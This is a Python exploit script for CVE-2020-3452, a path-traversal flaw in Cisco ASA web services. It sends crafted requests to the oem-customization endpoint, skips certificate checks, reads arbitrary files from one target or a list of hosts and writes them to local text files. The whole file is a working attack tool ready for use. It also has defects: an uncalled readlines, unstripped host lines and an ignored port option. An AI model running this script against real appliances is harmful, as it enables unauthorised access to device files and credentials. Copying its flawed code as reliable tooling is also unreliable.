cisco-asa-CVE-2020-3452.py

import argparse
import logging
import requests
import urllib.parse

attack_url = "https://{}/+CSCOT+/oem-customization?app=AnyConnect&type=oem&platform=..&resource-type=..&name={}"

def doit(host, path, port=80):
    log.info("Attacking {}", host)
    with requests.Session() as s:
        s.verify = False
        resp = s.get(attack_url.format(host, path))

        if resp.status_code == 404:
            log.error("The specified file does not exist!")
        else:
            with open("{}.txt".format(host), "wt") as file:
                file.writelines(resp.text)
                log.info("The target is vulnerable and the requested contents have been saved!")

helpmenu = argparse.ArgumentParser("cisco-asa-CVE-2020-3452.py")

helpmenu.add_argument("-l", "--list", action="store", dest="hostlist")
helpmenu.add_argument("-i", "--ip", action="store", dest="host")
helpmenu.add_argument("-p", "--port", action="store", dest="port")
helpmenu.add_argument("-r", "--read", action="store", dest="file_to_read", default="+CSCOE+/portal_inc.lua")

args = helpmenu.parse_args()

log = logging.getLogger("Exploit")
log.setLevel(logging.DEBUG)

# Banner?

if args.hostlist is None and args.host is None:
    helpmenu.print_help()
    log.error("You didn't specify a target!")
    exit()

if args.hostlist is not None and args.host is not None:
    helpmenu.print_help()
    log.error("You can't specify a list of hosts and a single host at the same time!")
    exit()

if args.hostlist is not None:
    with open(args.hostlist, "r") as reader:
        for l in reader.readlines:
            doit(l, path=args.file_to_read)
else:
    doit(args.host, path=args.file_to_read)